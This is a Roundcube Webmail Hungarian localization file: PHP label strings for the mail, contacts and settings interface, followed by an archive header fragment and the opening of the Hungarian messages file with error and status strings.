$labels['quotatype'] = 'Kvóta típus';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Használt';
$labels['quotastorage'] = 'Lemez méret';
$labels['quotamessage'] = 'Üzenet darab';
$labels['shortheaderdate'] = '$date';
$labels['shortheaderto'] = '$to címzettnek $date';
$labels['shortheaderfrom'] = '$from küldőtől $date';
$labels['quicksearch'] = 'Gyorskeresés';
$labels['searchplaceholder'] = 'Keresés...';
$labels['resetsearch'] = 'Alapállapot';
$labels['searchmod'] = 'Keresési opciók';
$labels['msgtext'] = 'Teljes üzenet';
$labels['body'] = 'Törzs';
$labels['type'] = 'Típus';
$labels['namex'] = 'Név';
$labels['searchscope'] = 'Hatókör';
$labels['currentfolder'] = 'Aktuális mappa';
$labels['subfolders'] = 'Ez és az almappák';
$labels['allfolders'] = 'Minden mappa';
$labels['searchinterval-1W'] = 'egy hétnél régebbi';
$labels['searchinterval-1M'] = 'egy hónapnál régebbi';
$labels['searchinterval-1Y'] = 'több mint egy éves';
$labels['searchinterval1W'] = 'egy hétnél korábbi';
$labels['searchinterval1M'] = 'egy hónapnál korábbi';
$labels['searchinterval1Y'] = 'egy évnél korábbi';
$labels['openinextwin'] = 'Megnyitás új ablakban';
$labels['emlsave'] = 'Letöltés (.eml)';
$labels['changeformattext'] = 'Megjelenítés sima szöveges formátumban';
$labels['changeformathtml'] = 'Megjelenítés HTML formátumban';
$labels['editasnew'] = 'Szerkesztés újként';
$labels['send'] = 'Küldés';
$labels['sendmessage'] = 'Üzenet küldése';
$labels['savemessage'] = 'Vázlat mentése';
$labels['addattachment'] = 'Fájl csatolása';
$labels['charset'] = 'Karakterkészlet';
$labels['editortype'] = 'Szerkesztő típusa';
$labels['returnreceipt'] = 'Olvasási visszaigazolás';
$labels['dsn'] = 'Kézbesítési visszaigazolás';
$labels['keepformatting'] = 'Formázás megtartása ';
$labels['mailreplyintro'] = '$date időpontban $sender ezt írta:';
$labels['originalmessage'] = 'Eredeti üzenet';
$labels['selectimage'] = 'Kép kijelőlés';
$labels['addimage'] = 'Kép hozzáadás';
$labels['selectmedia'] = 'Film kijelölés';
$labels['addmedia'] = 'Film hozzáadás';
$labels['encrypt'] = 'Titkosítás';
$labels['encryptmessage'] = 'Üzenet titkosítása';
$labels['encryptmessagemailvelope'] = 'Üzenet titkosítása Mailvelope-vel';
$labels['importpubkeys'] = 'Nyilvános kulcsok importálása';
$labels['encryptedsendialog'] = 'Titkosított üzenet küldése';
$labels['encryptandsign'] = 'Titkosítás és aláírás';
$labels['keyid'] = 'Kulcs ID';
$labels['keylength'] = 'Bitek';
$labels['keyexpired'] = 'Lejárt';
$labels['keyrevoked'] = 'Visszvont';
$labels['bccinstead'] = 'Titkos másolat használata';
$labels['addheader'] = 'Címzett (fejléc) hozzáadása ';
$labels['insert'] = 'Beszúrás';
$labels['insertcontact'] = 'Kapcsolat(ok) beszúrása';
$labels['recipient'] = 'Címzett';
$labels['recipientedit'] = 'A címzett szerkesztése';
$labels['editidents'] = 'Azonosítók szerkesztése';
$labels['spellcheck'] = 'Helyesírás-ellenőrzés';
$labels['checkspelling'] = 'Helyesírás-ellenőrzés';
$labels['resumeediting'] = 'Helyesírás-ellenőrzés vége';
$labels['revertto'] = 'Visszaállítás erre';
$labels['restore'] = 'Visszaállítás';
$labels['restoremessage'] = 'Üzenet visszaállítás';
$labels['ignore'] = 'figyelmen kivül hagy';
$labels['responses'] = 'Válaszok';
$labels['insertresponse'] = 'Egy válasz beillesztése';
$labels['manageresponses'] = 'Válaszok kezelése';
$labels['newresponse'] = 'Új válasz létrehozása';
$labels['addresponse'] = 'Válasz hozzáadása';
$labels['editresponse'] = 'Válasz szerkesztése';
$labels['editresponses'] = 'Válaszok szerkesztése';
$labels['responsename'] = 'Név';
$labels['responsetext'] = 'Válasz Szöveg';
$labels['attach'] = 'Csatolás';
$labels['attachments'] = 'Csatolmányok';
$labels['upload'] = 'Feltöltés';
$labels['uploadprogress'] = '$percent ($current / $total)';
$labels['close'] = 'Bezárás';
$labels['messageoptions'] = 'Üzenetbeállítások...';
$labels['togglecomposeoptions'] = 'Levélírás beállítások kapcsolása';
$labels['attachmentrename'] = 'Csatolmány átnevezése';
$labels['low'] = 'Alacsony';
$labels['lowest'] = 'Legkisebb';
$labels['normal'] = 'Normál';
$labels['high'] = 'Magas';
$labels['highest'] = 'Legmagasabb';
$labels['nosubject'] = '(nincs tárgy)';
$labels['showimages'] = 'Képek megjelenítése';
$labels['allow'] = 'Engedélyezve';
$labels['alwaysshow'] = 'Képek megjelenítése mindig, ha a feladó $sender';
$labels['alwaysallow'] = 'Minding engedélyezve ha a feladó $sender ';
$labels['isdraft'] = 'Ez egy piszkozat.';
$labels['andnmore'] = 'további $nr...';
$labels['details'] = 'Részletek';
$labels['summary'] = 'Összegzés';
$labels['headers'] = 'Fejlécek';
$labels['allheaders'] = 'Fejlécek...';
$labels['togglemoreheaders'] = 'Több üzenet fejrész(header) megjelenítése';
$labels['togglefullheaders'] = 'Nyers üzenet fejléc megjelenítés- elrejtés';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Egyszerű szöveg';
$labels['savesentmessagein'] = 'Elküldött üzenet mentése ide';
$labels['dontsave'] = 'nincs mentés';
$labels['maxuploadsize'] = 'A maximális feltölthető fájl mérete $size';
$labels['addcc'] = 'Cc (Másolati cím) hozzáadása';
$labels['addbcc'] = 'Bcc (titkos másolati cím) hozzáadása';
$labels['addreplyto'] = 'Válaszcím hozzáadása';
$labels['addfollowupto'] = 'Hírcsoport válasz hozzáadása';
$labels['sendreceipt'] = 'Elküldi az olvasási visszaigazolást?';
$labels['mdnrequest'] = 'Az üzenet küldője értesítést kér arról, hogy elolvasta a levelet. El legyen küldve az olvasási visszaigazolás?';
$labels['receiptread'] = 'Olvasási visszaigazolás (olvasott)';
$labels['yourmessage'] = 'Ez az üzenete olvasási visszaigazolása';
$labels['receiptnote'] = 'Megjegyzés: Ez az olvasási visszaigazolás csak azt igazolja, hogy az üzenet megjelenítésre került a címzett számítógépén. Nincs rá garancia, hogy a címzett elolvasta volna az üzenetet illetve megértette volna annak tartalmát.';
$labels['sendalwaysto'] = 'Mindig küldjön ide $email';
$labels['zoomin'] = 'Nagyítás';
$labels['zoomout'] = 'Kicsinyítés';
$labels['rotate'] = 'Elforgatás';
$labels['increaseimage'] = 'Kép méretének növelése';
$labels['decreaseimage'] = 'Kép méretének csökkentése';
$labels['rotateimage'] = 'Kép elforgatás';
$labels['showtools'] = 'Kép eszközök megjelenítése';
$labels['hidetools'] = 'Kép eszközök elrejtése';
$labels['name'] = 'Megjelenített név';
$labels['firstname'] = 'Keresztnév';
$labels['surname'] = 'Vezetéknév';
$labels['middlename'] = 'Második keresztnév';
$labels['nameprefix'] = 'Név-előtag';
$labels['namesuffix'] = 'Név-utótag';
$labels['nickname'] = 'Becenév';
$labels['jobtitle'] = 'Beosztás';
$labels['department'] = 'Részleg';
$labels['gender'] = 'Nem';
$labels['maidenname'] = 'Leánykori név';
$labels['email'] = 'E-mail cím';
$labels['phone'] = 'Telefonszám';
$labels['address'] = 'Lakcím';
$labels['street'] = 'Utca';
$labels['locality'] = 'Város';
$labels['zipcode'] = 'Irányítószám';
$labels['region'] = 'Régió';
$labels['country'] = 'Ország';
$labels['birthday'] = 'Születésnap';
$labels['anniversary'] = 'Évforduló';
$labels['website'] = 'Weboldal';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Megjegyzések';
$labels['male'] = 'férfi';
$labels['female'] = 'nő';
$labels['manager'] = 'Menedzser';
$labels['assistant'] = 'Asszisztens';
$labels['spouse'] = 'Házastárs';
$labels['allfields'] = 'Összes mező';
$labels['search'] = 'Keresés';
$labels['searchresult'] = 'Keresés eredménye';
$labels['advsearch'] = 'Részletes keresés';
$labels['advanced'] = 'Haladó';
$labels['other'] = 'Egyéb';
$labels['printcontact'] = 'A kapcsolat nyomtatása';
$labels['qrcode'] = 'QR Kód';
$labels['typehome'] = 'Otthon';
$labels['typework'] = 'Munkahely';
$labels['typeother'] = 'Egyéb';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Vezetékes';
$labels['typehomefax'] = 'Otthoni fax';
$labels['typeworkfax'] = 'Munkahelyi fax';
$labels['typecar'] = 'Gépkocsi';
$labels['typepager'] = 'Személyhívó';
$labels['typevideo'] = 'Videó';
$labels['typeassistant'] = 'Asszisztens';
$labels['typehomepage'] = 'Weboldal';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Új mező hozzáadása...';
$labels['addcontact'] = 'Kapcsolat hozzáadása';
$labels['editcontact'] = 'Kapcsolat szerkesztése';
$labels['contacts'] = 'Kapcsolatok';
$labels['contactproperties'] = 'Kapcsolat tulajdonságai';
$labels['contactnameandorg'] = 'Név és szervezet';
$labels['personalinfo'] = 'Személyes adatok';
$labels['personal'] = 'Személyes';
$labels['contactphoto'] = 'Kapcsolat fotója';
$labels['edit'] = 'Szerkesztés';
$labels['cancel'] = 'Mégsem';
$labels['save'] = 'Mentés';
$labels['delete'] = 'Törlés';
$labels['discard'] = 'Érvénytelenít';
$labels['continue'] = 'Tovább';
$labels['ok'] = 'OK';
$labels['rename'] = 'Átnevezés';
$labels['addphoto'] = 'Kép hozzáadása';
$labels['replacephoto'] = 'Kép cseréje';
$labels['uploadphoto'] = 'Fotó feltöltése';
$labels['choosefile'] = 'File kiválasztása...';
$labels['choosefiles'] = 'Fileok kiválasztása...';
$labels['browse'] = 'Böngészés';
$labels['newcontact'] = 'Új kapcsolat létrehozása';
$labels['deletecontact'] = 'Kijelölt kapcsolatok törlése';
$labels['composeto'] = 'E-mail küldése erre a címre';
$labels['contactsfromto'] = 'Kapcsolatok: $from - $to / $count';
$labels['print'] = 'Nyomtatás';
$labels['export'] = 'Exportálás';
$labels['exportall'] = 'Összes exportálása';
$labels['exportsel'] = 'Kijelöltek exportálása';
$labels['exportvcards'] = 'Kapcsolatok exportálása vCard formátumban';
$labels['newgroup'] = 'Új csoport létrehozása';
$labels['addgroup'] = 'Csoport hozzáadása';
$labels['grouprename'] = 'Csoport átnevezése';
$labels['groupdelete'] = 'Csoport törlése';
$labels['groupassign'] = 'Csoporthoz rendelés...';
$labels['groupremove'] = 'Csoportból eltávolítás';
$labels['groupremoveselected'] = 'A kijelölt partnerek törlése a csoportból';
$labels['uponelevel'] = 'Egy szinttel feljebb';
$labels['previouspage'] = 'Előző oldal';
$labels['firstpage'] = 'Első oldal';
$labels['nextpage'] = 'Következő oldal';
$labels['lastpage'] = 'Utolsó oldal';
$labels['group'] = 'Csoport';
$labels['groups'] = 'Csoportok';
$labels['listgroup'] = 'Csoport tagjainak listája';
$labels['personaladrbook'] = 'Személyes címjegyzék';
$labels['searchsave'] = 'Keresés mentése';
$labels['searchdelete'] = 'Keresés törlése';
$labels['import'] = 'Importálás';
$labels['importcontacts'] = 'Kapcsolatok importálása';
$labels['importfromfile'] = 'Importálás fájlból';
$labels['importtarget'] = 'Kapcsolatok hozzáadása ';
$labels['importreplace'] = 'A teljes címjegyzék cseréje';
$labels['importgroups'] = 'Csoport hozzárendelések importálása';
$labels['importgroupsall'] = 'Mind(csoport létrehozása amennyiben szükséges)';
$labels['importgroupsexisting'] = 'Csak már létező csoportoknak';
$labels['importdesc'] = 'Feltölthetsz partnereket már létező címjegyzékből.<br/>Jelenleg a címeket importálni vagy <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> vagy CSV(vesszővel-tagolt) formátumból lehet.';
$labels['importmapdesc'] = 'Erősítse meg, hogy a mező megfeleltetések megfelelőek, mielőtt folytatnánk a CSV (vesszővel elválasztott) adatok importálását.';
$labels['fieldnotmapped'] = 'A mező nem hozzárendelve (nem importálandó)';
$labels['skipheader'] = 'Nem importálja az első sort (fejlécek)';
$labels['done'] = 'Kész';
$labels['settingsfor'] = 'Beállítás';
$labels['about'] = 'Névjegy';
$labels['preferences'] = 'Beállítások';
$labels['userpreferences'] = 'Felhasználói beállítások';
$labels['editpreferences'] = 'Felhasználói beállítások szerkesztése';
$labels['identities'] = 'Azonosítók';
$labels['manageidentities'] = 'Azonosítók kezelése';
$labels['newidentity'] = 'Új azonosító létrehozása';
$labels['addidentity'] = 'Azonosító hozzáadása';
$labels['editidentity'] = 'Azonosító szerkesztése';
$labels['identityencryption'] = 'Titkosítás';
$labels['preferhtml'] = 'HTML megjelenítés';
$labels['defaultcharset'] = 'Alapértelmezett karakterkódolás';
$labels['htmlmessage'] = 'HTML üzenet';
$labels['messagepart'] = 'Rész';
$labels['digitalsig'] = 'Digitális aláírás';
$labels['dateformat'] = 'Dátumformátum';
$labels['timeformat'] = 'Időformátum';
$labels['prettydate'] = 'Rövid dátumok';
$labels['setdefault'] = 'Beállítás alapértelmezettnek';
$labels['autodetect'] = 'Automatikus';
$labels['language'] = 'Nyelv';
$labels['timezone'] = 'Időzóna';
$labels['pagesize'] = 'Sorok száma egy oldalon';
$labels['signature'] = 'Aláírás';
$labels['dstactive'] = 'Nyári időszámítás';
$labels['showinextwin'] = 'Az üzenet megnyitása egy új ablakban';
$labels['composeextwin'] = 'Űzenet írása új ablakban';
$labels['htmleditor'] = 'HTML üzenet írása';
$labels['htmlonreply'] = 'csak HTML üzenetre válaszolva';
$labels['htmlonreplyandforward'] = 'HTML üzenet továbbításakor vagy az arra való válaszoláskor';
$labels['htmlsignature'] = 'HTML aláírás';
$labels['showemail'] = 'Az email címek megjelenítése a partner nevével';
$labels['previewpane'] = 'Előnézeti kép';
$labels['skin'] = 'Kinézet';
$labels['logoutclear'] = 'Törölt elemek mappa ürítése kilépéskor';
$labels['logoutcompact'] = 'Beérkezett üzenetek mappa tömörítése kilépéskor';
$labels['uisettings'] = 'Felhasználói felület';
$labels['serversettings'] = 'Szerverbeállítások';
$labels['mailboxview'] = 'Postafiók nézet';
$labels['mdnrequests'] = 'Olvasási visszaigazolás küldése';
$labels['askuser'] = 'kérdezzen rá';
$labels['autosend'] = 'automatikus küldés';
$labels['autosendknown'] = 'küldés csak a címjegyzékben lévő kapcsolataimnak, egyéb esetben kérdezzen rá';
$labels['autosendknownignore'] = 'küldés csak a címjegyzékben lévő kapcsolataimnak, egyéb esetben nem';
$labels['autosendtrusted'] = 'küldjön visszaigazolást a megbízható feladóknak, máskülönben kérdezzen rá';
$labels['autosendtrustedignore'] = 'küldjön visszaigazolást a megbízható feladóknak, máskülönben hagyja figyelmen kívül';
$labels['ignorerequest'] = 'a kérés figyelmen kivül hagyása';
$labels['readwhendeleted'] = 'Üzenet olvasottként jelölése törléskor';
$labels['flagfordeletion'] = 'Üzenet törlendőnek jelölése törlés helyett';
$labels['skipdeleted'] = 'Törölt üzenetek ne legyenek megjelenítve';
$labels['deletealways'] = 'Üzenet törlése, ha nem sikerül áthelyezni a törölt elemek mappába';
$labels['deletejunk'] = 'Üzenetek közvetlen törlése a levélszemét mappából';
$labels['showremoteimages'] = 'Távoli beágyazott képek megjelenítése';
$labels['allowremoteresources'] = 'Távoli erőforrások engedélyezve (képek, stílusok)';
$labels['fromknownsenders'] = 'csak ismert feladóktól';
$labels['fromtrustedsenders'] = 'a megbízható feladóktól';
$labels['frommycontacts'] = 'a partnereimtől';
$labels['always'] = 'mindig';
$labels['alwaysbutplain'] = 'mindig, kivéve ha sima szöveg levélre válaszolunk';
$labels['showinlineimages'] = 'Csatolt képek megjelenítése az üzenet alatt';
$labels['autosavedraft'] = 'Piszkozat automatikus mentése';
$labels['everynminutes'] = 'minden $n percben';
$labels['refreshinterval'] = 'Frissítés ( új üzenetek keresése, stb )';
$labels['never'] = 'soha';
$labels['immediately'] = 'azonnal';
$labels['messagesdisplaying'] = 'Üzenetek megjelenítése';
$labels['messagescomposition'] = 'Üzenetek írása';
$labels['mimeparamfolding'] = 'Csatolt állományok nevei';
$labels['2231folding'] = 'Teljes RFC 2231 ( pl. Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (egyéb)';
$labels['force7bit'] = 'MIME kódolás használata 8 bites karakterekhez';
$labels['savelocalstorage'] = "Mentse a böngésző helyi adattárolóba (ideiglenes)";
$labels['advancedoptions'] = 'Haladó beállítások';
$labels['toggleadvancedoptions'] = 'Haladó beállítások kapcsolása';
$labels['focusonnewmessage'] = 'Beérkező új üzenet ablakának fókuszba hozása';
$labels['checkallfolders'] = 'Új üzenetek ellenőrzése minden mappában';
$labels['displaynext'] = 'A következő elem megjelenítése törlés/áthelyezés után';
$labels['defaultfont'] = 'HTML üzenet alap karakterkészlete';
$labels['mainoptions'] = 'Általános beállítások';
$labels['browseroptions'] = 'Böngésző beállításai';
$labels['section'] = 'Beállítások';
$labels['maintenance'] = 'Karbantartás';
$labels['newmessage'] = 'Új üzenet';
$labels['signatureoptions'] = 'Aláírás beállításai';
$labels['whenreplying'] = 'Válasznál';
$labels['replyempty'] = 'ne idézze az eredeti üzenetet';
$labels['replytopposting'] = 'üzenet írása az eredeti felett';
$labels['replytoppostingnoindent'] = 'üzenet írása az eredeti felett (behúzások nélkül)';
$labels['replybottomposting'] = 'üzenet írása az eredeti alatt';
$labels['replyremovesignature'] = 'Válasznál az eredeti aláírás eltávolítása';
$labels['autoaddsignature'] = 'Aláírás automatikus hozzáadása';
$labels['newmessageonly'] = 'csak új üzenetnél';
$labels['replyandforwardonly'] = 'válasznál és továbbításnál';
$labels['insertsignature'] = 'Aláírás beillesztése';
$labels['sigbelow'] = 'Az aláírás az idézett üzenet alatt';
$labels['sigseparator'] = 'Az aláírásokban a szabványos elválasztok használatának kényszerítése';
$labels['automarkread'] = 'Üzenetek megjelölése olvasottként';
$labels['afternseconds'] = '$n másodperc elteltével';
$labels['reqmdn'] = 'Olvasási visszaigazolás megkövetelése';
$labels['reqdsn'] = 'Kézbesítési visszaigazolás megkövetelése';
$labels['replysamefolder'] = 'Válaszok azonos mappába helyezése';
$labels['defaultabook'] = 'Alapértelmezett címjegyzék';
$labels['autocompletesingle'] = 'Alternatív e-mail címek kihagyása automatikus kiegészítéskor';
$labels['listnamedisplay'] = 'Névjegyek listázása';
$labels['contactformmode'] = 'Kapcsolat űrlap mód';
$labels['privatemode'] = 'Magán (Otthoni)';
$labels['businessmode'] = 'Üzleti (Munkahely)';
$labels['collectedaddresses'] = 'Begyűjtött címek';
$labels['collectedrecipients'] = 'Begyűjtött Címzettek';
$labels['collectedrecipientsopt'] = 'Kimenő emailek címzetjeinek tárolása a kövezkezőben';
$labels['collectedsendersopt'] = 'Megbízható feladókat tárolása a következőben';
$labels['trustedsenders'] = 'Megbízható Feladók';
$labels['spellcheckbeforesend'] = 'Helyesírás-ellenőrzés az üzenet elküldése előtt';
$labels['spellcheckoptions'] = 'Helyesírás-ellenőrzés opciók';
$labels['spellcheckignoresyms'] = 'Speciális karaktereket tartalmazó szavak kihagyása';
$labels['spellcheckignorenums'] = 'Számot tartalmazó szavak kihagyása';
$labels['spellcheckignorecaps'] = 'Csak nagybetűt tartalmazó szavak kihagyása';
$labels['addtodict'] = 'Hozzáadás a szótárhoz';
$labels['mailtoprotohandler'] = 'Beállítás a mailto: linkek kezelőjeként';
$labels['standardwindows'] = 'A felugró ablakok használata szokásos ablakként';
$labels['forwardmode'] = 'Üzenet továbbítás';
$labels['inline'] = 'beágyazott';
$labels['asattachment'] = 'csatolmányként';
$labels['replyallmode'] = 'Alapértelemezett művelete a [Válasz mindenkinek] gombnak';
$labels['replyalldefault'] = 'válasz mindenkinek';
$labels['replyalllist'] = 'válasz a csak a levelező listára(ha levelezőlista)';
$labels['allmessages'] = 'Minden üzenet illeszkedjen';
$labels['olderxdays'] = '$x napnál régebbi';
$labels['folder'] = 'Mappa';
$labels['folders'] = 'Mappák';
$labels['foldername'] = 'Mappa neve';
$labels['subscribed'] = 'Feliratkozva';
$labels['messagecount'] = 'Üzenet';
$labels['create'] = 'Létrehozás';
$labels['createfolder'] = 'Új mappa létrehozása';
$labels['managefolders'] = 'Mappák kezelése';
$labels['specialfolders'] = 'Különleges mappák';
$labels['properties'] = 'Tulajdonságok';
$labels['folderproperties'] = 'Mappa tulajdonságai';
$labels['parentfolder'] = 'Szülőmappa';
$labels['location'] = 'Hely';
$labels['info'] = 'Információk';
$labels['getfoldersize'] = 'Mappa mérete';
$labels['changesubscription'] = 'Feliratkozás megváltoztatása';
$labels['foldertype'] = 'Mappa típusa';
$labels['personalfolder'] = 'Privát mappa';
$labels['otherfolder'] = 'Más felhasználó(k) mappája';
$labels['sharedfolder'] = 'Megosztott mappa';
$labels['findfolders'] = 'Mappa keresése';
$labels['findcontacts'] = 'Kapcsolat keresés';
$labels['findmail'] = 'Levél keresés';
$labels['namespace.personal'] = 'Személyes';
$labels['namespace.other'] = 'Más felhasználók';
$labels['namespace.shared'] = 'Megosztva';
$labels['dualuselabel'] = 'Csak a következőt tartalmazhatja';
$labels['dualusemail'] = 'üzenetek';
$labels['dualusefolder'] = 'mappák';
$labels['generate'] = 'Generálás';
$labels['encryptioncreatekey'] = 'Új kulcs pár létrehozása';
$labels['openmailvelopesettings'] = 'Open Mailvelope Beállítások';
$labels['encryptionprivkeysinmailvelope'] = '$nr egyező privát kulcs van a Mailvelope kulcskarikádon: ';
$labels['encryptionnoprivkeysinmailvelope'] = 'Ennek küldőnek még nincs meg a PGP prívát kulcsa a Mailvelope kiterjesztésedben. Szeretnél létrehozni egyet, hogy engedélyezzed a titkositott üzenetváltást?';
$labels['encryption'] = 'Titkosítás';
$labels['mailvelopeoptions'] = 'Mailvelope opciók';
$labels['mailvelopemainkeyring'] = 'Mailvelop fő kulcskarikájának használata';
$labels['mailvelopenotfound'] = 'A Mailvelope bővítmény nincs engedélyezva/telepítve a böngésződben.';
$labels['sortby'] = 'Rendezés';
$labels['sortasc'] = 'növekvő';
$labels['sortdesc'] = 'csökkenő';
$labels['undo'] = 'Visszavonás';
$labels['installedplugins'] = 'Telepített bővítmények';
$labels['plugin'] = 'Bővítmény';
$labels['version'] = 'Verzió';
$labels['source'] = 'Forrás';
$labels['destination'] = 'Cél';
$labels['license'] = 'Licensz';
$labels['support'] = 'Támogatás';
$labels['savedsearches'] = 'Elmentett keresések';
$labels['dateformatY'] = 'ÉÉÉÉ';
$labels['dateformaty'] = 'ÉÉ';
$labels['dateformatm'] = 'HH';
$labels['dateformatd'] = 'NN';
$labels['dateformatj'] = 'N';
$labels['dateformatn'] = 'H';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Angol';
$labels['westerneuropean'] = 'Nyugat-európai';
$labels['easterneuropean'] = 'Kelet-európai';
$labels['southeasterneuropean'] = 'Délkelet-európai';
$labels['baltic'] = 'Balti';
$labels['cyrillic'] = 'Cirill';
$labels['arabic'] = 'Arab';
$labels['greek'] = 'Görög';
$labels['hebrew'] = 'Héber';
$labels['turkish'] = 'Török';
$labels['nordic'] = 'Skandináv';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Kelta';
$labels['vietnamese'] = 'Vietnámi';
$labels['japanese'] = 'Japán';
$labels['korean'] = 'Koreai';
$labels['chinese'] = 'Kínai';
$labels['arialabeltopnav'] = 'Ablak beállítás';
$labels['arialabeltasknav'] = 'Alkalmazás feladatok';
$labels['arialabeltoolbar'] = 'Alkamazás eszközsor';
$labels['arialabellistnav'] = 'Lista navigáció';
$labels['arialabelactivetask'] = 'Aktiv feladat';
$labels['arialabelmessagessearchfilter'] = 'Email lista szűrő';
$labels['arialabelmailsearchform'] = 'Email üzenet kereső űrlap';
$labels['arialabelcontactsearchform'] = 'Kapcsolat kereső űrlap';
$labels['arialabelmailquicksearchbox'] = 'Email kereső mező';
$labels['arialabelquicksearchbox'] = 'Kereső mező';
$labels['arialabelfoldersearchfilter'] = 'Mappa lista szűrő';
$labels['arialabelfoldersearchform'] = 'Mappa kereső űrlap';
$labels['arialabelfolderlist'] = 'Email mappa kiválasztás';
$labels['arialabelmessagelist'] = 'Email üzenetek listázása';
$labels['arialabelmailpreviewframe'] = 'Üzenet betekintő';
$labels['arialabelmailboxmenu'] = 'Mappa műveletek menü';
$labels['arialabellistselectmenu'] = 'Lista választék menü';
$labels['arialabelthreadselectmenu'] = 'Témák szerinti listázás menü';
$labels['arialabelmessagelistoptions'] = 'Üzenet lista megjelenítési és rendezési opciók';
$labels['arialabelmailimportdialog'] = 'Üzenet importáls';
$labels['arialabelmessagenav'] = 'Üzenet navigálás';
$labels['arialabelmessagebody'] = 'Üzenet főrész';
$labels['arialabelmessageactions'] = 'Üzenet műveletek';
$labels['arialabelcontactquicksearch'] = 'Kapcsolat kereső űrlap';
$labels['arialabelcontactsearchbox'] = 'Kapcsolat kereső beviteli mező';
$labels['arialabelmessageheaders'] = 'Üzenet fejlécek';
$labels['arialabelforwardingoptions'] = 'Továbbítási beállítások';
$labels['arialabelreplyalloptions'] = 'Válasz mindenkinek beállítások';
$labels['arialabelmoremessageactions'] = 'További műveletek az üzenettel...';
$labels['arialabelmorecontactactions'] = 'További műveletek a kapcsolatokkal...';
$labels['arialabelmarkmessagesas'] = 'A kiválasztott üzenetek megjelölése mint...';
$labels['arialabelcomposeoptions'] = 'Levélírás opciók';
$labels['arialabelresponsesmenu'] = 'Sablon válaszok menű';
$labels['arialabelattachmentuploadform'] = 'Csatolmány feltöltő űrlap';
$labels['arialabelattachmentmenu'] = 'Csatolmány beállítások';
$labels['arialabelmailtomenu'] = 'Email cím beállítások';
$labels['arialabelattachmentpreview'] = 'Csatolmány előnézet';
$labels['ariasummarycomposecontacts'] = 'A kapcsolatoknak és csoportoknak a listája a címzettek kiválasztásához';
$labels['arialabelcontactexportoptions'] = 'Kapcsolat exportálásának opciói';
$labels['arialabelabookgroupoptions'] = 'Címjegyzék/csoportjegyzék opciói';
$labels['arialabelpreferencesform'] = 'Beállítások űrlap';
$labels['arialabelidentityeditfrom'] = 'Identitás szerkesztő űrlap';
$labels['arialabelresponseeditfrom'] = 'Válasz szerkesztő űrlap';
$labels['arialabelsearchterms'] = 'Kereső kifejezések';
$labels['arialabeldropactionmenu'] = 'Drag-n-Drop műveletek menü';
$labels['arialabelheadersmenu'] = 'Címzett (fejléc) hozzáadása menűhöz';
$labels['arialabelimagetools'] = 'Kép eszközök';
$labels['helplistnavigation'] = 'A navigálásra használt billentyűk listája';
$labels['helplistkeyboardnavigation'] = "Nyilak fel/le: A sor fókusz/kiválasztás mozgatása.
Szóköz: A fókuszban lévő sor kiválasztása.
Shift + fel/le: Több sor kiválasztása az aktuális sor alatt/felett.
Ctrl + Szóköz: A fókuszban levő sor hozzáadása vagy törlése a kiválasztásból.";
$labels['helplistkeyboardnavmessages'] = "Jobbra/Balra nyilak: kibontja/becsukja az üzenet szálakat (csak a beszélgető/szálas módban).
Enter: Kinyitja a kiválasztott/fókuszban levő üzenetet.
Delete: A kiválaszott üzenet áthelyezése a Kukába.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Megnyitja a kiválasztott/fókuszban levő kapcsolatot.";
PK
h�\��}�JJ'program/localization/hu_HU/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Hiba történt!';
$messages['loginfailed']  = 'Sikertelen bejelentkezés.';
$messages['cookiesdisabled'] = 'A böngésző nem támogatja a sütik használatát';
$messages['sessionerror'] = 'Érvénytelen vagy lejárt munkamenet';
$messages['cookiesmismatch'] = 'A cookie-k nem egyeznek meg. Kérjük, töröljed a böngészőből a cookie-kat.';
$messages['storageerror'] = 'Nem sikerült csatlakozni az IMAP szerverhez';
$messages['servererror'] = 'Szerverhiba!';
$messages['servererrormsg'] = 'Szerverhiba: $msg';
$messages['accountlocked'] = 'Túl sok sikertelen belépési kísérlet történt. Próbálja késöbb.';
$messages['connerror'] = 'Kapcsolódási hiba (a kiszolgáló elérése sikertelen)!';
$messages['dberror'] = 'Adatbázishiba!';
$messages['dbconnerror'] = 'Nem sikerült kapcsolódni az adatbázishoz!';
$messages['windowopenerror'] = 'A felugró ablak blokkolva lett!';
$messages['requesttimedout'] = 'A kérés túllépte az időkorlátot';
$messages['errorreadonly'] = 'A műveletet nem sikerült végrehajtani. A mappa írásvédett.';
$messages['errornoperm'] = 'A műveletet nem sikerült végrehajtani. Hozzáférés megtagadva.';
$messages['erroroverquota'] = 'A műveletet nem lehetett végrehajtani, mivel nincs elég szabad tárhely.';
$messages['erroroverquotadelete'] = 'Elfogyott a tárhely. A SHIFT+DEL billentyű kombinációval lehet üzeneteket törölni.';
$messages['invalidrequest'] = 'Érvénytelen kérés! Az adatok nem lettek elmentve.';
$messages['invalidhost'] = 'Hibás szerver hoszt név';
$messages['nomessagesfound'] = 'A mappa nem tartalmaz üzeneteket';
$messages['loggedout'] = 'Sikeresen lezáródott a munkamenet. Viszontlátásra!';
$messages['mailboxempty'] = 'A postaláda üres';
$messages['nomessages'] = 'Nincsenek üzenetek';
$messages['refreshing'] = 'Frissítés...';
$messages['loading'] = 'Betöltés...';
$messages['uploading'] = 'Fájl feltöltése...';
$messages['attaching'] = 'Fájl csatolása...';
$messages['uploadingmany'] = 'Fájlok feltöltése...';
$messages['loadingdata'] = 'Az adatok betöltése...';
$messages['checkingmail'] = 'Új üzenetek keresése...';
